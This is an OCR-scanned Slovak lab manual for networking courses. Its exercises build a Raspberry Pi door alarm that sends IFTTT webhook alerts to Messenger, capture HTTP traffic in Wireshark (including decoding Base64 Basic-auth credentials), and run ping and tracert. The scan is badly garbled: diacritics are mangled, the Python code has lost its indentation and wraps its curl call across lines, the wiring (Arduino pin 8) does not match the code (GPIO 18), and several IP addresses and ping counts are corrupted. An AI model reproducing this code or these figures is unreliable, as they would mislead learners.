IFTTT, HTTP ziadost, poplasné zariadenie, Facebook messanger, Ardunio, Ethernet shield, notifikacie
Vystup cvicenia

Vyyuzitim jednodoskového pocitaca Raspberry Pi zhotovené poplasnézariadenie, ktoré bude snimat
otvorenie dveri (napriklad do detskej izby). V pripade otvoreniaodosle Raspberry Pl informaciu do cloud
rozhrania, ktoré ju preposle do Facebook Messengera.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

ako vytvorit elektronicky snimac otvorenia dveri s Raspberry PI,

ako pripojit elektronické zariadenia s Raspberry Pl do siete internet,
akoodosielat zosnimané Gdaje do cloud rozhrania,

ako odoslat informacie z cloudu do koncového zariadenia (napr. smartfén).

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

Raspberry P,

sietovy kabel s RJ45,

prepojovacie vodice,

alobal,

noznice,

lepiaca paska,

smartfén s mobilnou aplikaciou Facebook messanger,
Facebookovy pouZivatelsky ucet,

pouzivatelsky ucet v cloud zorhrani IFTTT.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady zapojenia elektronickych obvodov s doskami Raspberry PI,
B zaklady sietovej komunikacie v sietiach TCP/IP,
B zaklady webovej komunikacie (HTTP protokol).

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:
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1) Obijasnit Studentom, aky systém sa bude pocas cvienia navrhovat, aké je jeho vyuZitie v praxi,
z akych komponentov sa bude skladat.

2) Popisat postup realizacie zariadenia od fazy navrhu az po jeho oZivenie a testovanie.

3) Rozdelit cely postup realizacie do jednotlivych faz.

4) Pombct studentom s realizaciou a testovanim jednotlivych faz.

5) Zrealizovat kratky blok prezentacii vytvorenych rieseni.

6) Zaverecna diskusiu alebo pisomny protokol o absolvovanom cviceni.

Cvicenie obsahuje elektronickd a softvérovu ¢ast. Pre urychlenie vyvoja celého riesenia je mozné, aby
Studenti pracovali v skupinach, kde si rozdelia ulohy.

Fazy realizacie cvienia

1) Vykonajte obhliadku miesta fyzickej instalacie poplasného zariadenia a navrhnite presné miesto
a sposob instalacie.

2) Navrhnite elektronické zapojenie obvodu poplasného zariadenia.

3) Navrhnite zdrojovy kdd riadiaci poplasné zariadenie.

4) Otestujte funkénost poplasného zariadenia off-line (bez pripojenia do internetu).

5) Navrhnite a vytvorte applet v cloud rozhrani IFTTT pre odosielanie sprav do facebook messangera.
Navrhnite informacnu spravu, ktort bude odosielat poplasné zariadenie a pripojenie Arduina do
siete internet.

6) Odoslite testovaciu spravy z Arduina do IFTTT rozhrania.

7) Konecna faza kompletného riesenia.

8) Zaverelna prezentacia vysledkov cvicenia.

Teoreticky Uvod

Princip zjednoduseného poplasného zariadenia spociva v neustalom kontrolovani, ¢i su dvere do izby
zatvorené. V pripade, Ze sa otvoria, mikropocita¢ deteguje prerusenie elekotrnického obvodu a zavola
prostrednictvom HTTP protokolu URL cez Webhook API na serveri IFTTT. Ten nasledne odosle spravu cez
Facebook Messenger do koncového zariadenia, napriklad smartfénu.

Pre vytvorenie tohto projektu budeme potrebovat podcita¢ Rasbperry Pi, sietovy kabel, vodice, kisok
alobalu, lepiacu pasku, noznice. Princip poplasného zariadenia bude spocivat v neustalom kontrolovani,
¢i su dvere do izby zatvorené a v pripade, Ze sa otvoria, pocitac zavold prostrednictvom HTTP protokolu
URL cez Webhook API na serveri IFTTT, ktory nasledne odosle spravu cez Facebook Messenger.

Realizacia cvicenia

1) Predpokladajme, Ze poplasné zariadenie chceme nainstalovat na zarubru dveri do miestnosti.
Vykoname obhliadku mozZnosti a navrhneme najlepsie miesto pre buducu instalaciu.

324



|~

Vytvorime jednoduchy elektronicky obvod, ktory bude v pripade zatvorenych dveri uzavrety a bude nim
tiect prud.

V pripade otvorenych dveri bude obvod preruseny. Z alobalu si odtrhneme dva pruzky v rozmeroch cca
3x15cm. Dva dlhsie vodice si na koncoch odizolujeme a kazdy vodic prilepime lepiacou paskou k prazku
alobalu tak, aby vzniklo vodivé spojenie. Pruzky poskladame do Stvorcov o rozmere 3x3cm. Tieto Stvorce
prilepime k zarubni dveri lepiacou paskou vo vzdialenosti cca 5 cm tak, aby paska neprekryvala celé
Stvorce, ale len ich polovicu. Na obrazku ich vidime ako zelené a oranzové plochy na zarubni.

Vodice pripojime do Arduina tak, Ze jeden vodic ide na pin GND a druhy na pin 8. Na ich poradi tentoraz
nezalezi.

Nasledne si odstrihneme z alobalu Stvorec o rozmeroch cca 12x12cm a dvakrat ho prehneme, ¢im
vznikne obdiZnik s rozmermi 3x12cm. Tento obdlZnik nalepime na dvere tak, aby pri zatvoreni tplne
prekryval alobaly na zarubni. Na obrazku priazok na dverach vidime znazorneny modrou farbou. Lepiacu
pasku nalepime tak, aby sa alobaly na zarubni a dverach mohli vodivo dotykat a paska ich navzajom
neprekryvala.
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3) Priklad zdrojového kédu riadiacej aplikacie:

# importovanie kniznic pre pracu s GPIO pinmi, casom a volaniami
operacneho systemu

import RPi.GPIO as GPIO

import time

import os

# nastavenie sposobu volania pinov prostrednictvom cisla GPIO pinu
GPIO.setmode (GPIO.BCM)

# nastavenie pinu ako vstupneho a zapnutie pullup rezistora
GPIO.setup (18, GPIO.IN, pull up down=GPIO.PUD_UP)

# nekonecna slucka (stale opakuj)
while True:
# nacitanie stavu GPIO pinu 18 do premennej dvere
dvere = GPIO.input(18)
# cakanie po dobu 1ls, aby program pri zatvorenych dverach
nevytazoval procesor na 100%
time.sleep (1)

# ak dvere su otvorene

if dvere == True:
# vypisanie ladiacej hlasky o otvoreni dveri
print ('Dvere otvorene')

# zavolanie Webhooks sluzby cez IFTTT (nezabudnite vymenit
podciarknuty kluc za svoj)

os.system("curl
https://maker.ifttt.com/trigger/Alarm/with/key/eqZAdcRcYoPufflqWc4d-
20")

# cakanie na opatovne zatvorenie dveri a kontrola kazdych 5
sekund, ci uz su zavrete
# aby sa nam neustale neposielali spravy o otvorenych dverach
while dvere == True:
dvere = GPIO.input(18)
time.sleep (5)
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4)

5)

6)

7)

Program je potrebné spustit cez Raspberry Pi, pripojit sietovy kabel do Ethernet portu a nasledne
cely systém otestovat na jeho funkénost.

Vytvorime si IFTTT pravidlo, ktoré ndm odosle spravu na Facebook Messenger, ak sa otvoria dvere v

izbe:

a.

e.

Po prihlaseni do sluzby IFTTT (pozri predchadzajlce cvicenie), vytvorime novy applet a ako
trigger vyberieme sluzbu Webhooks. Ak v sluZzbe Webhooks zatial nie sme zaregistrovani,
klikneme na tlac¢idlo Connect. Nasledne vyberieme moznost, ktora spusti applet po vyvolani
Specialnej URL - Receive a web request.

Akcii pre otvorenie dveri priradime nazov Alarm.

Ako odpoved na spustac¢ chceme odoslat spravu cez Facebook Messenger. Vyhladame teda
tuto sluzbu a prepojime nas IFTTT ucet s Messengerom. Nasledne vyberieme ako akciu
moznost Send message a ukonéime vytvaranie akcie.

Predposlednym krokom je doplnenie spravy, ktord nam ma sluzba IFTTT dorucit na Facebook
Messenger. Mbzeme si napisat vlastnu spravu a do nej vlozit ¢as vyvolania triggera, pripadne

len uviest hlasku “Boli otvorené dvere do izby!” a klikneme na Create action.

Zadame popis appletu, ktory sa zobrazi na Uvodnej stranke a applet je hotovy.

Otestovanie funkcnosti poplasného zariadenia, prepojenia s cloud rozhranim a odosielania sprav do
Faceboo Messangera.

Otestujte vytvorené riesenie Ulohy. Najdite slabé miesto a skuste najst spdsob, ako prekonat toto
zariadenie aby neodhalilo prienik do miestnosti.

Prezentdcia

Kazda skupina by mala na zaver hodiny odprezentovat svoj vystup. S ohladom na ¢asové a technické
obmedzenia je vhodné nastavit limit prezentaciu na 1 powerpointovy slide a 90 sektind. Ulohou skupiny
je vybrat to najpodstatnejsie z ich prace a odprezentovat to. Casovy a priestorovy tlak nuti $tudentov
kriticky premyslat nad vyberom délezitych parametrov a informacii, ktoré budd publikované.

Studentom méze odporucit nasledujlce tipy pre prezentaciu:

odlisnost od konkurencie,
navrhnuté a zrealizované Specifické funkcie,

moznost dalSieho rozsirenia poplasného zariadenia.

Otazky a Ulohy na zamyslenie

1) Ako poplasné zariadenie rozlisuje opravneny vstup od neopravneného?
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2) Akym spdsobom je moiné prekonat navrhnuté poplasné zariadenie, aby nespustilo alarm pri
vstupe do miestnosti?

3) Akym spdsobom by sa dalo zariadenie chranit pred neopravnenym vyradenim z prevadzky?

4) Aké nové vlastnosti by mohlo mat poplasné zariadenie, aby ziskalo konkurenént vyhodu oproti
inym zariadeniam prezentovanym v triede.

Odporucané zdroje
[1] IFTT Getting Started —

https://help.ifttt.com/hc/en-us/categories/115001566148-Getting-Started

[2] HTTP request - https://www.tutorialspoint.com/http/http requests.htm

[3] Raspberry PI - https://en.wikipedia.org/wiki/Raspberry Pi

[4] Raspberry PI - https://www.raspberrypi.org/
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CVICENIE S18-CV1: Wireshark — siefova komunikacia

Kfucoveé slova
Wireshark, sietova komunikacia, packet sniffing, analyza paketov
Vystup cvicenia

Vyuzitim open-source nastroja WireShark zachytavat sietové pakety a identifikovat ich Struktudru
a informacie, ktoré prenasaju.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B analyzovat sietovl komunikaciu,
B pochopit struktiru a format prenasanych informacii prenasanych v sieti.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

Wireshark,

vlastny webovy server,
webovy prehliadac,

textovy editor (alebo iné IDE),

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

zaklady préace s opera¢nym systémom Linux,
zakladné nastavenia webového servera,
poznatky o Strukture paketov,

znalosti o komunikacii cez protokol HTTP,
zaklady programovania webov,

znalost prace s prikazovym riadkom.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept HTTP komunikéacie a rozdiel medzi GET a POST Ziadostami.

3) Studentom vysvetlite zakladny koncept prenosu suborov cez protocol HTTP.

4) Studentom vysvetlite zakladny koncept pristupu k zabezpecenej lokalite. Zabezpeéena lokalita je
vytvorena pomocou htaccess.
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5) V spolupraci so Studentmi vyrieste nizsie uvedené cvicenia.
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Teoreticky Uvod

Cvicenie bude zamerané na zakladné principy HTTP komunikacie — Ziadost typu GET a formaty prijatych
sprav, sposob komunikacie medzi klientom a serverom pocas prenosu velkych textovych suborov a
zakladné spravy pocas navstevy zabezpecenej www lokality.

;‘IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= POZNAMKA!

N G EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEN

Podrobnosti o sietovej komunikacii najdete v kapitolo 5.1.-5.3., pripadne pod referenciami
uvednymi na konto tohto dokumentu.

S pesEEEEEREEEEET]

Realizacia cviCenia
1. Nainstalute si aplikaciu Wireshark:

URL : https://www.wireshark.org/#download

2. Pripravte si webovy server.
3. Vypracujte cvicenia uvedené nizsie.

Uloha 1:Zakladna interakcia HTTP GET/response

Zacnite Vasu analyzu HTTP komunikacie stiahnutim velmi jednoduchého siboru HTML, ktoryje velmi
kratky a neobsahuje Ziadne vloZzené objekty. Postupujte takto:

Spustite webovy prehliadac.

Spustite Wireshark paketovy sniffer, ako je popisané v tvodnom cviceni.
Do pola filter zadajte typ komunikacného protkolu "http" (bez Gvodzoviek)
Vo webovom prehliadadi navstivte lubovolnd webovu stranku.

Zastavte zachytdvanie paketov v aplikacii Wireshark.

Analzyujte zachytené pakety.

ok wN R

Cvicenie si moOzZete upravit tym, Ze si vytvorite jednoduchy HTML stbor s ndzvom index.html, ktory
obsahuje len text. Tento index.html sdbor si umiestnite na svoj webovy server. Do prehliadaca
zadajte nasledujuce informacie:

http://server/index.html
Vas prehliada¢ by mal zobrazovat velmi jednoduchy, jednoriadkovy sibor HTML.

Okno Wireshark by malo vyzerat podobne ako okno zobrazené na obrazku nizsie.
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File Edit View Go Cepture Analyze Statistics Telephony Tools Internals Help
codmg BORB AcersaTEIEE QQAQAD BB %|E
[] Bxpression... Clear Apply save

Length Info
678 GET /modules.php?name=PDD&func=nick&nick=latropilla HTTP/1.1

Filter: | http.request or http.response

No. Time Source

871 6.52676200172.16.98. 30

Destination
208.97.176.141

Protocol

928 6.74001500172.16.97.128 239.255.255. 250 SSDP 175 M-SEARCH * HTTP/1.1

929 6.77286700172.16.97.123 239.255.255. 250 SSDP 175 M-SEARCH * HTTP/1.1

942 6.99663300 208.97.176.141 172.16.98. 30 HTTP 360 HTTP/1.1 200 OK (text/html)

955 7.07671200172.16. 97. 250 239.255.255. 250 SSDP 169 M-SEARCH * HTTP/1.1

956 7.07755000172.16.97.250 239.255.255.250 SSDP 171 M-SEARCH * HTTP/1.1

961 7.12043000172.16.97.137 239.255.255.250 SSDP 175 M-SEARCH * HTTP/1.1

973 7.25395700172.16. 98. 30 208.97.176.141 HTTP 751 GET /images/PDD/nick/default.css HTTP/1.1
974 7.25446900172.16. 98. 30 208.97.176.141 HTTP 752 GET /images/PDD/nick/galleria.css HTTP/1.1
976 7.25470900172.16. 98. 30 208.97.176.141 HTTP 692 GET /jquery.min.js HTTP/1.1

977 7.25491800172.16. 98. 30 208.97.176.141 HTTP 728 GET /jquery.galleria.js HTTP/1.1

978 7.25514600172.16. 98. 30 208.97.176.141 HTTP 722 GET /swfobject.js HTTP/1.1

979 7.25539100172.16. 98. 30 208.97.176.141 HTTP 767 GET /images/PDD/categorias/delivery.gif HTTP/1.1
1000 7.47805500 208. 97.176.141 172.16.98.30 HTTP 186 HTTP/1.1 304 Not Modified

1007 7.68471100 208.97.176.141 172.16.98.30 HTTP 162 HTTP/1.1 304 Not Modified

1008 7. 68509900 208. 97.176.141 172.16.98.30 HTTP 186 HTTP/1.1 304 Not Modified

1009 7. 68522000 208. 97.176.141 172.16.98.30 HTTP 187 HTTP/1.1 304 Not Modified

1011 7 70462000208 Q7 176 141 172 16 a8 20 uTTR 278 MTTP/1 1 J0A Parrial Content

i »

@ Frame 871: 678 bytes on wire (5424 bits), 678 bytes captured (5424 bits) on interface 0
@ Ethernet II, src: AsrockIn_bf:5c:05 (00:25:22:bf:5c:05), Dst: Fortinet_09:00:05 (00:09:0f:09:00:05)
@ Internet Protocol Version 4, Src: 172.16.98.30 (172.16.98.30), Dst: 208.97.176.141 (208.97.176.141)
@ Transmission Control Protocol, Src Port: 53808 (53808), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 624
- Hypertext Transfer Protocol
= GET /modules. php?name=PDD&func=nick&nick=latropilla HTTP/1.1\r\n
@ [Expert Info (Chat/Sequence): GET /modules.php?name=PDD&Func=nick&nick=1atropilla HTTP/1.1\r\n]
Request Method: GET

Request URI: /modules.php?name=PDD&func=nick&nick=1atropilla
Request version: HTTP/1.1
Host: latropilla.platosdeldia.com\r\n
connection: keep-alive\r\n
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/%;q=0.8\r\n =
upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (windows NT 6.1; wow64) Applewebkit/537.36 (KHTML, Tike Gecko) Chrome/48.0.2564.109 safari/537.36\r\n
Accept-Encoding: gzip, deflate, sdch\r\n

Accept-Language: en-uUs,en;q=0.8,es;g=0.6\r\n

I »

22 bf 5c 05 08 00 45 00
00 00 ac 10 62 1e do 61
86 7e el 8f a5 af 50 18
54 20 2f 6d 6f 64 75 6c}
61 6d 65 3d 50 44 44 26

6b 26 6e 69 63 6b 3d 6
61 20 48 54 54 50 2f 31
2e 31 0d 0a 48 6f 73 74 3a 20 6¢c 61 74 72 6f 70

V zozname packetov hladame dva klti¢ové udaje HTTP komunikacie: sprava GET (z Vasho prehliadaca na
web server) a odpoved zo servera na Vas prehliadac. V jednotlivych oknach aplikacie Wireshark si viete
pozriet obsah paketov. Ak chceme minimalizovat mnozstvo zobrazenych udajov, ktoré nepatria k HTTP
sledovanej komunikacii (mame zdujem o protokol HTTP), nastavime si konkrétne filtre.

Pri pohlade na informacie v spravach HTTP GET a odpovediach odpovedzte na nasledujlce otazky:

oOwu kA wWwNPE

Aka verzia HTTP protokolu je v prehliadaci spustena?

Aka je IP adresa Vasho pocitaca? Aka je IP adresa servera, odkial ste nacitali html subor?
Aky je stavovy kéd vrateny zo servera do Vasho prehliadaca?

Kedy bol nacitany naposledy subor upraveny na serveri HTML?

Kolko bajtov obsahu sa vrati do Vasho prehliadaca?

Uvidite pri kontrole nespracovanych udajov v okne s obsahom paketov fubovolné hlavicky v
ramci Udajov, ktoré sa nezobrazia v okne zdznamu paketov? Ak dno, menujte jednu.

Uloha 2:Naéitanie dlhych dokumentov

V predchadzajucom priklade bol ziskany jednoduchy a kratky HTML dokument. V dalSom cviceni sa
pozrieme, ako vyzera stiahnutie dlhého suboru. Vykonajte nasledujuce kroky:

1.

o vk wnN

Spustite webovy prehliadac a uistite sa, Ze vyrovnavacia pamat vasho prehliadaca je vymazana,
ako je diskutované vyssie.

Spustite program Wireshark packet sniffer.

Na svoj webovy server umiestnite index.html subor s velmi dlhym textom (napr. Loremlpsum...).
Do prehliadaca zadajte URL adresu, kde je umiestneny Vas subor.

Va3 prehliada¢ by mal zobrazovat pomerne zdihavy text.

Zastavte zachytenie paketov Wireshark a zadajte v Specifikacii filtra zobrazenie "http"okno, takze
sa zobrazia iba zaznamenané HTTP spravy.
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V okne zdznamu paketov by ste mali vidiet Vasu spravu HTTP GET, za ktorou nasleduje viacndsobna
odpoved na Vasu poziadavku HTTP GET. Sprava o odozve HTTP pozostava zo stavového riadku, za
ktorym nasleduju riadky zahlavia, za ktorym nasleduje prazdny riadok a nasledne organ subjektu.

V naSom pripade tu je sibor HTML, ktory je prilis velky, aby sa zmestili do jedného paketu TCP. Jedna
odpoved HTTPspravy sa takto rozdeli na niekolko kusov pomocou protokolu TCP, pricom kazdy kus bude
obsiahnutyv rdmci samostatného segmentu TCP. Kazdy segment TCP je zaznamenany ako samostatny
paket. Vas prehliadac vSak tuto skutoénost povazuje za jednu odpoved HTTP, ktora bola fragmentovana
vo viacerych paketoch TCP.

Odpovedzte na nasledujlce otazky:

1. Kolko sprav HTTP GET odoslal Vas prehliadac?
2. Kolko segmentov TCP obsahujucich Gdaje bolo potrebné na prenos jednej HTTP odpovede?
3. Aky je stavovy kdd spojeny s odpovedou na HTTP GET pre velky stubor?

Uloha 3: HTTP Authentication

Nakoniec sa pokusime navstivit webovu lokalitu chranent heslom a preskimat sekvenciu sprav HTTP
vymenenych pri ndvsteve takétoho webu. Pred samotnym zachytavanim paketov je potrebné vytvorenie
zabezpectenej webovej sekcie. Podrobny navod ako takéto zabezpeclenie nastavit, je uvedené v cviceni
S23-CV1.

Pre realizaciu cvicenia postupujte takto:

1. Spustite prehliadac v incognito reZime. Pri opakovanom testovani musite restartovat prehliadac¢
pripadne vymazat vyrovnavaciu pamat.

Spustite program Wireshark packet sniffer.

Do prehliadaca zadajte adresu URL kde je dostupny Vas chraneny zdroj.

Zadajte poZadované pouzivatelské meno a heslo.

Zastavte zachytenie paketov Wireshark a zadajte v Specifikacii filtra zobrazenie "http"okno, takze
sa budu zobrazovat iba HTTP spravy.

vk wnw

Odpovedzte na nasledujlce otazky:
1. Aky stavovy kdd je v odpovedi servera v reakcii na pociato¢nu HTTP GET spravu z prehliadaca?
2. Ked'vas prehliadac posle spravu HTTP GET druhykrat, aké nové pole je zahrnuté v sprave HTTP GET?

Pouzivatelské meno a heslo, ktoré ste zadali, si zakédované v retazci znakov (napriklad:
d2lyZXNoYXJrLXNOdWRIbnRzOm5IldHdvecms= ).nZatial ¢o Vase pouZivatelské meno a heslo su
jednoducho kddované voformate zndmom ako Base64.

Pouzivatelské meno a heslo teda nie su Sifrované! Ak chcete vidiet ich pévodnu formu, prejdite na
adresu: https://www.base64encode.org/

Zadajte kddovanie base64 a do formulara vlozte zachyteny retazec a stlacte tlacidlo dekédovanie.
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Otazky a ulohy na zamyslenie

1) Aké typy pouzivatelskych vstupov je mozné nacitat?
2) Kam moze byt odoslany vystup z aplikacie?

Odporucané zdroje

[1] GET vs. POST metdda - https://www.w3schools.com/tags/ref httpmethods.asp

[2] RFC2616 - https://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html

[3] HTACCESS - http://www.htaccess-guide.com/
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CVICENIE S19-CV1: Diagnostika sieti

Kfd¢ové slova
diagnostika sieti, Ping, Tracert, Traceroute
Vystup cvicenia

Schopnost aplikovat v praxi zakladné diagnostické pristupy a poznanie zakladnych diagnostickych
nastrojov pre diagnostiku sietovej komnikacie.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B Ako overit dostupnost vzdialenych serverov a stanic.
B Ako vykonat zakladné meranie rychlosti sietovej komunikacie a kvality spojenia so vzdialenym
serverom.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B operacny systém Windows,
B internetové pripojenie.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady prace s operacnym systémom,
B zakladné znalosti sietovej komunikacie,
B znalost prace s prikazovym riadkom.

Odporucany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovania ndstrojov ping a traceroute.

3) Studenti budy pracovat samostatne a merat a analyzovat dostupnost vzdialenych serverov,
kvalitu a rychlost pripojenia k tymto serverom.

4) V spolupréci so studentmi prepocitajte nizsie uvedené cvicenia.
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Teoreticky Uvod

Nastroj na sledovanie trasy pomaha zobrazovat Udaje o sietach, ktorymi musia pakety prechadzat od
pouzivatelov (zdroj - source) aZ po koncové zariadenie vo vzdialenej cielovej sieti (ciel - destination).

Tento sietovy nastroj sa zvyc¢ajne vykonava na prikazovom riadku na systémoch Microsoft Windows ako:

tracert <nazov cielovej siete alebo adresa koncového zariadenia>

Alebo pre Unix a podobné systémy:

traceroute <nazov cielovej siete alebo adresa koncového zariadenia>

Pomocky na sledovanie trasy umoziuju pouzivatelovi uréit cestu, ako aj oneskorenie v sieti IP. Existuje
niekolko nastrojov na vykonanie tejto funkcie.

Nastroj traceroute (alebo tracert) sa ¢asto pouziva na rieSenie problémov so sietou, a to zobrazenim
zoznamu sietovych zariadeni, ktorymi prechadzaju pakety. Vystup umozniuje pouzivatelovi identifikovat
cestu, ktora sa poutzila na dosiahnutie konkrétneho ciela v lokalnej alebo vzdialenej sieti.

Kazdy smerovac predstavuje miesto, kde sa jedna siet pripaja k inej sieti a prostrednictvom ktorého bol
datovy paket odoslany. Pocet smerovacov je znamy ako pocet "skokov". Pocet skokov sa pocita od
zdrojového zariadenia.

Zobrazeny zoznam mdze pomoct identifikovat problémy s tokom Udajov pri pokuse o pristup k sluzbe,
ako je webova stranka. Vystup moéze byt uZito¢ny pri vybere najblizSieho servera, pripadne toho, s
ktorym je komunikacia najrychlejSia. Napriklad, ak existuju viaceré webové miesta, kde je k dispozicii
rovnaky datovy subor, je mozné otestovat rychlost pripojenia na kazdy server, aby ste ziskali dobru
predstavu o tom, ktory zdroj siboru by bol najrychlejsi.

Dve trasy medzi rovnakym zdrojom a miestom uréenia mozu mat odlisny character. Rychlost
jendotlivych tras je zavisla od Urovne preponenia v takzavnej mesh topologii.

Nastroje na sledovanie trasy zaloZené na prikazovom riadku su zvycajne vloZzené do operacného systému
koncového zariadenia. Na trhu existuju aj iné komercné nastroje pre vizualizaciu ziskanych informacii.

POZNAMKA!

Podrobnosti o vstupoch a vystupoch ndajdete v kapitole 5.4, pripadne v odporucanych zdrojoch
na konci tohto dokumentu.

M EEEEEEEEEEEEE]
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Zadanie cvicenia

Uloha 1:Zistite, &i je vzdialeny server dostupny.

Ak chcete sledovat trasu do vzdialenej siete, musite mat pocitac s funkénym pripojenim k internetu. Prvy
nastroj, ktory pouzijeme, pre testovanie je ping. Je to nastroj pouzivany na overenie, Ci je hostitel
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dostupny. Nazov ping pochadza z aktivnej sonarovej technoldgie, v ktorej je impulz zvuku vysielany pod
vodou a odrazZa sa od terénu alebo inych lodi.

Pakety sa odoslu vzdialenému hostitelovi s pokynmi na odpoved. Vas lokalny pocita¢ meria, ¢i odpoved'
je prijata na kazdy paket a ako dlho trva, kym tieto pakety prechadzaju cez siet.

Z potitaca, odkial testujeme dostupnost, kliknite na ikonu Start systému Windows, do pola Hladat
programy a subory zadajte prikaz cmd a potom stlacte Enter.

jo, cmd]

Na vyzvu prikazového riadka zadajte prikaz ping www.google.com.

CAWINDOWS\system32\cmd.exe

Microsoft Windows [Version 10.0.17134.345]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\innovates>ping google.com

4.
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Ping statistics for 74.125.133.138:

Packets: Sent = 4, Received = 4, Lost = @ (8% loss),
Approximate round trip times in milli-seconds:

Minimum = 43ms, Maximum = 44ms, Average

C:\Users\innovates>_

Prvy riadok vystupu zobrazuje plne kvalifikovany nazov domény (FQDN) google.com, dalej nasleduje
adresa IP 74.125.133.138. Google poskytuje rovnaky webovy obsah na réznych serverochna celom svete
(zndme aj ako zrkadla). Preto, v zavislosti od toho, kde ste geograficky, sa parameter IP adresy bude [isit.

Z tejto Casti vystupu, sa daju odcitat Statistické vysledky testovania.

Ping statistics for 74.125.133.138:
Packets: Sent = 4, Received = 4, Lost = @ (0% loss),

Approximate round trip times in milli-seconds:
Minimum = 43ms, Maximum = 44ms, Average = 43ms
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Boli odoslané styri ping Ziadosti (echo-request) a odpoved' (echo-reply) bola dorucena pre kazdu ping
Ziadost. PretoZe server odpovedal na kazdy ping, vo vysledku je uvedeny 0% straty paketov. V priemere
to trvalo 43 ms (43 milisekind), kym sa pakety dostali cez siet. Milisekunda je 1/1 000 sekundy.

Streaming video a online hry su dve aplikacie, ktoré vyrazne ovplyviiuje mnozstvo paketov a
rychlostsietového pripojenia. Presnejsie urcenie rychlosti pripojenia k internetu ziskate odoslanim 100
pingov namiesto predvoleného nastavenia 4. Prikaz je nasledujuci:

C:\Users\innovates>ping -n 180 google.com
Vysledok vyzera takto:

Ping statistics for 64.233.167.102:

Packets: Sent = 100, Received = 100, Lost % loss),
Approximate round trip times in milli-seconds:

Minimum = 45ms, Maximum = 94ms, Average = 47ms

Uloha 2:Otestujte servery v roznych lokalitach sveta.
Pre Afriku:

C: \> ping www.afrinic.net

C:\Users\innovates>ping afrinic.net

Pinging afrinic.net [100 216.2.6] with 32 bvteq of data:
Reply from 196.216.2.6: bytes=32 time=227ms
Reply from 196.216.2.6: bytes=32 time=227ms
Reply from 196.216.2.6: bytes=32 time=227ms

Reply from 196.216.2.6: bytes=32 time=227ms

Ping statistics for 196.216.2.6:
Packets: Sent = 4, Received = 4, Lost = ©
Approximate round trip times in milli-seconds:
Minimum = 227ms, Maximum = 227ms, Average

Pre Australiu:

C: \> ping www.apnic.net
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C:\Users\innovates>ping apnic.net

Pinging apnic.net [203.119.101.61] with 32 bytes of data:
Reply from 263.119.101.61: bytes=32 time=361ms TTL=238
Reply from 263.119.101.61: bytes=32 time=361ms TTL=238
Reply from 263.119.101.61: bytes=32 time=365ms TTL=238
Reply from 263.119.101.61: bytes=32 time=362ms TTL=238

Ping statistics for 203.119.101.61:

Packets: Sent = 4, Received Lost = @ (0% loss),
Approximate round trip times in i-seconds:

Minimum = 361ms, Maximum = 365ms, Average = 362ms

Pre Eurdpu:
C: \> ping websupport.sk

C:\Users\innovates>ping websupport.sk

Pinging websupport. 5. .29 of data:
Reply from 195.2180. :

Reply from 195.2180.

Reply from 195.2180.

Reply from 195.2180.

Ping statistics for 195.216.29.66:

Packets: Sent = 4, Received = 4, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 21ms, Maximum = 23ms, Average = 22ms

Pre JuZnd Ameriku:
C: \> ping lacnic.net
C:\Users\innovates>ping lacnic.net

Pinging lacnic.net [200.3.14.10] with 32 bytes of data:
Reply from 200.3.14.10: bytes=32 time=250ms TTL=45
Reply from 200.3.14.10: bytes=32 time=248ms TTL=45
Reply from 200.3.14.10: bytes=32 time=248ms TTL=45
.14.10: bytes=32 time=248ms TTL=45

w w w w

Reply from 260.

Ping statistics for 200.3.14.16:

Packets: Sent = 4, Received = 4, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 248ms, Maximum = 250ms, Average

Vietky tieto pingy boli spustené z pocitaca umiestneného v Eurdpe. Co sa stane s priemernym ¢asom
milisekdnd pingu v systéme Windows, ked' sa pakety pohybuju na tom istom kontinente v porovnani s
udajmi z r6znych kontinentov?

Uloha 3: Uréte, akou cestou cez internetovu siet putuju pakety na vzdialeny server.
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Teraz, ked bola verifikovana zakladna dostupnost pomocou nastroja ping, je uzitocné pozriet sa na
prikaz, ktory pomdze identifikovat jendotlivé sietové zariadenia po ceste. Za tymto Géelom sa pouzZije
nastroj tracert.

Podobne, ako v pripade prikazu ping, chodte do prikazového riadku. Na vyzvu prikazového riadka
zadajte tracert www.cisco.com a ulozte vystup tracertu do textového suboru nasledovne:

C:\>tracert www.cisco.com

Tracing route to el44.dscbh.akamaiedge.net [23.1.144.170]
over a maximum of 30 hops:

<1 ms ms dslrouter.westell.com [192.168.1.1]

38 ms 38 ms 10.18.20.1

37 ms ms G3-0-9-2204.ALBYNY-LCR-02.verizon-gni.net [130.8
96.190]

43 ms ms s0-5-1-1-0.NY325-BB-RTR2.verizon-gni.net [130.81
.46]

